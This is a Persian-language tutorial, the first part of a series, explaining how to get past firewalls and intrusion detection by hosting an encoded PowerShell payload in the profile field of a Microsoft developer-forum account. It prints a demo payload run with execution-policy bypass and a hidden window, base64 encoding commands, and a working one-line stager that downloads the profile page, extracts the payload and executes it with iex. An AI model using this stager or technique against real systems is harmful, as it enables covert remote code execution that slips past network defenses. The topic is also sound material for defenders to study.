Bypass دیواره های آتش و اجرای Payload ها با دامنه های Microsoft – بخش اول

در این رایت آپ به چگونگی Bypass مکانیزم های امنیتی فایروال ها با کمک دامنه های سایت Microsoft.com می پردازیم.هدف از این مطلب یاد آوری تکنیک اجرای Payload ها با استفاده از دامنه های سایت های بزرگ است که به عنوان یک مثال کاربردی Microsoft.com را انتخاب کرده ایم. مهم این است که با این تکنیک شما می توانید براساس نیاز خود از سایت های بزرگ دیگر که شک برانگیز نیستند، استفاده کنید. مهم‌ترین مزیت این تکنیک، تاثیر مثبت دامنه‌های Microsoft به علت رایج بودن در فایروال‌های شبکه و محیط‌های highly-secured (بسیار امن) می باشد.

منطق این روش بسیار ساده اهست. مهاجم Payload خود را بر روی دامنه‌ی مایکروسافت قرار خواهد داد. هرگاه دستگاه ویندوز 10 مورد نظر برای دانلود آن تلاش کند، سیستم‌های عامل و شبکه‌های hardened احتمالا به درخواست‌های وب اجازه می‌دهند تا از شبکه عبور کرده که منجر به دورزدن فایروال و intrusion detection system (سیستم شناسایی نفوذ) (IDS) ایجاد شده توسط سازمان می شود.

رایانه‌های ویندوز 10 ممکن است روزانه ده‌ها هزار بار اطلاعات رد و بدل کنند. حتی با تنظیمات امنیتی harden شده سیستم عامل، ویندوز 10 هزاران بار  سرورهای مایکروسافت را در روز ping می‌کند. برخی از داده‌های رد و بدل شده از دامنه‌های مایکروسافت برای حفظ به‌روز رسانی‌های سیستم و سایر جنبه‌های اساسی سیستم عامل لازم هستند. در زیر نمونه‌ای از داده‌های ثبت شده توسط Wireshark (GET) برای یک سیستم ویندوز 10، آورده شده است.

برخی از دامنه‌های مایکروسافت ممکن است با زیردامنه‌های نامعمول مثلا، « geover-prod.do.dsp.mp.microsoft.com» ظاهر شوند. این زیردامنه‌ها معمولا برای سرویس های اختصاصی، منابع و با برنامه هایی هستند که در پس زمینه اجرا می‌شوند. این بدان معناست که برخی از فایروال‌ها و IDSها به این دامنه‌ها به خاطر استفاده از wildcardها (مثلا، *.microsoft.com) اجازه‌ی عبور از شبکه را خواهند داد. ممکن است برخی از مدیران به طور کامل از دامنه‌های مایکروسافت چشم‌پوشی کنند چرا که احتمال نمی دهند، دامنه های Microsoft.com مخرب باشند یا اصلا از آن ها بتوان برای به خطر انداختن سیستم ها استفاده نمود.

همین اعتماد، باعث می شود مهاجم بتواند از این اعتماد استفاده کرده و حمله خود را انجام دهد. به داده‌های ثبت شده توسط Wireshark که در زیر آمده است توجه کنید، آیا چیز غیر عادی مشاهده می‌کنید؟

اگر بیشتر دقت کنیم، متوجه خواهیم شد مهاجم، از دامنه‌ی social.msdn.microsoft.com برای دانلود پی‌لود استفاده کرده است. برای چشم غیر مسلح یا هر شخصی که مسئولیت بازرسی شبکه را به عهده دارد، این ترافیک بسیار ایمن به نظر خواهد رسید. این دامنه متعلق به جامعه‌ی برنامه‌نویسان مایکروسافت و همچنین کاربران استفاده کننده از ویندوز 10 دارد. این درخواست‌ها (TCP/TLS) به گونه‌ای رمزگذاری شده‌اند که امکان بازرسی بیش‌تر بسته‌ها جهت کشف کامل آدرس صفحه وب یا محتواها (یعنی، پیلود) را نمی‌دهد. مدیرانی که این ترافیک را بر روی شبکه مشاهده می‌کنند احتمالا فکر خواهند کرد که کاربر، صرفا مشغول جستجو در انجمن مایکروسافت است.

با رفتن به صفحه‌ای که توسط مهاجم ایجاد شده است، می‌توان پی‌لود را مشاهده کرد که در بخش «About Me» قرار داده شده است.

می‌توان از بسیاری از دامنه‌هایی که در اختیار مایکروسافت قرار دارد برای این نوع فعالیت از قبیل Microsoft Answers, Office Forms, OneDrive و حتی بخش‌ نظرات Microsoft news استفاده کرد. تمام این دامنه‌های کاملا معتبر هستند که ممکن است از آن‌ برای میزبانی پی‌لودها سو استفاده شود.

 

 ایجاد Payload

در اینجا، بیت نهایی از کدی را تعریف می‌کنیم که بر روی رایانه‌ی هدف اجرا خواهد شد. به زبان ساده تر، پی‌لود یک فایل متنی خالی در پوشه‌ی Documents\ ایجاد خواهد کرد که به آن pwn_sauce می‌گوییم. به بک‌اسلش سه تایی (\\\) دقت کنید. در bash (ترمینال Kali)، برای انتقال متغیرهای PowerShell به پی‌لود به عنوان رشته‌ لازم است.

powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:\Users\\\$env:USERNAME\Documents\pwn_sauce'

PowerShell از خط مشی دور زدن یا بای‌پس (-ep) برای اجرا استفاده می کند که با کمک /w 1 پاپ آپ های ترمینال را مخفی نگه می دارد. از New-Item  در cmdlet برای ایجاد فایلی جدید استفاده می‌شود. در مسیری که منتهی به نام فایل می شود، از گذرواژه‌ی environment variable برای درج خودکار گذرواژه‌ی کاربر مورد حمله واقع شده، استفاده شده است. می‌توان آن را بر روی هر رایانه‌ی ویندوز 10 بدون تغییر هیچ بخشی از فرمان، اجرا کرد که منجر به ایجاد فایل جدید در پوشه Documents/ ایجاد خواهد شد.

می‌توان فرمان‌های ساده مانند فرمانی که در اسکرین‌شات بالایی نشان داده شد را مستقیما در بخش About Me قرار داد. پی‌لدهای پیچیده‌ی PowerShell که دارای کاراکترهای خاصی هستند باید base64 encoded باشند. در غیر این صورت، سرور مایکروسافت کاراکترهای خاص (مثلا، < > &) را تشخیص و sanitize خواهد کرد. Base64 که پی‌لود را کدگذاری می‌کند روشی سریع برای گذرکردن از این محدودیت است.

~# printf '%s' "PAYLOAD GOES HERE" | base64

cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6
XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHB3bl9zYXVjZSc=

با پر و بال دادن به فرمان، و تبدیل آن به Base64، کد چند خطی تولید خواهد شد. هنگام استفاده از رشته‌های Base64 با PowerShell، آن‌ها باید یک خطی یا همان one line باشند. چسباندن خط ها و تبدیل آن به  Base64  در tr برای حذف (-d) خطوط جدید (\n) پیوند در فرمان زیر انجام شده است.

~# printf '%s' "PAYLOAD GOES HERE" | base64 | tr -d '\n'

cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHB3bl9zYXVjZSc=

کار ما اینجا با ساخت Payload به اتمام رسید. حالا نوبت به ساخت حساب مایکروسافت و ایجاد stager است.

 

ساخت حساب مایکروسافت

حساب مایکروسافت برای ایجاد و تغییر صفحه‌ی پروفایل که میزبان پی‌لود است ضروریست. به صفحه‌ی Live login برای شروع این فرایند بروید.

بعد از وارد شدن، به صفحه‌ی پروفایل کاربری، به social.msdn.microsoft.com/Profile/USERNAME  بروید و بر روی دکمه‌ی «Edit My Profile» کلیک کنید تا بخش About Me را به روز کنید.

 

 

میزبانی از Payload بر روی وبسایت مایکروسافت

بخش About Me بر روی صفحه‌ی پروفایل مایکروسافت می‌تواند 1024 کاراکتر نگه دارد که گذاشتن Payload ها نیاز به دقت شما دارد، بخصوص در encoding (کدگذاری) پی‌لودها با base64 چراکه تعداد کارکترها را افزایش می‌دهد. این امکان وجود دارد که متن ساده میزبان پی‌لودها باشد اما PowerShell stager باید چند کد برای تشخیص و تبدیل رشته‌های sanitize شده HTML باشد که تبدیل به کد عادی شود. هر چند این کار امکان‌پذیر است اما خارج از مباحث این مقاله است.

پی‌لود مورد نظر را در بخش About Me بین START و END قرار دهید. این امر برای stager در گام بعدی بسیار مهم است که تمام HTML را بر روی صفحه‌ی مایکروسافت تحلیل می‌کند و برای رشته‌ی کدگذاری شده بین شناسه‌های START و END استخراج می‌کند. پس از انجام، حتما روی save کلیک کنید.

 

ایجاد Stager

کد یک خطی PowerShell زیر برای دانلود از صفحه‌ی پروفایل کاربری از سایت مایکروسافت، استخراج پی‌لود encoded، رمزگشایی آن، و سپس اجرای آن طراحی شده است.

$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/USERNAME -UseBasicParsing;$r = [Regex]::new("(?<=START)(.*)(?=END)");$m = $r.Match($wro.rawcontent);if($m.Success){ $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));iex $p }

چند فرمان با استفاده از ; در کد بالا بهم متصل شده اند که برای درک بهتر آن ها را بخش بخ بخش توضیح خواهیم داد.

$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/USERNAME -UseBasicParsing;

در بالا از Invoke-WebRequest در (iwr) cmdlet برای fetch کردن صفحه‌وب با آرگومان UseBasicParsing استفاده شده است. همه‌ی این‌ها در متغیر $wro (WebResponseObject) تنظیم شده‌اند. هرچند UseBasicParsing در حال حاضر deprecate شده است ولی از این پارامتر برای فعال کردن parsing اولیه استفاده شده است که متوجه شدیم برای موفقیت آمیز بودن درخواست حتما این پارامتر باید بصورت دستی تنظیم شود.

$r = Regex::new("(?<=START)(.*)(?=END)");

کد PowerShell بالا از الگوهای regex برای قرار دادن پی‌لود در  HTML استفاده می کند. روش‌های دیگری برای استخراج محتوا از صفحات وب با PowerShell وجود دارد، اما از این روش به صورت گسترده، استفاده می شود. پی‌لودهایی که در START و  END قرار داده شده‌اند و در روی وبسایت هستند ممکن است با این فرمان روی آن ها عملیات فیلترینگ انجام شود.

$m = $r.Match($wro.rawcontent);

کد بالا برای هر متنی که با الگوهای regex مطابقت داشته باشد یک متغیر $m ایجاد می‌کند.

if($m.Success){ $p = System.Text.Encoding::UTF8.GetString(System.Convert::FromBase64String($m.value)); ...}

درکد بالا If  هر الگویی که در متغیر $m یافته شود، رشته را decode کرده (FromBase64String) و آن را در متغیر $p قرار می دهد.

iex $p

در نهایت از Invoke-Expression (iex) برای اجرای مقدار $p استفاده می شود. در این حالت، $p همان پی‌لود PowerShell ما است. برای آزمایش آن، می‌توان فرمان iex را با echo جایگزین کرد که نتیجه آن را می توانید در تصویر زیر مشاهده کنید:

بخش دوم این مقاله:

Bypass دیواره های آتش و اجرای Payload ها با دامنه های Microsoft – بخش دوم

 

       
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x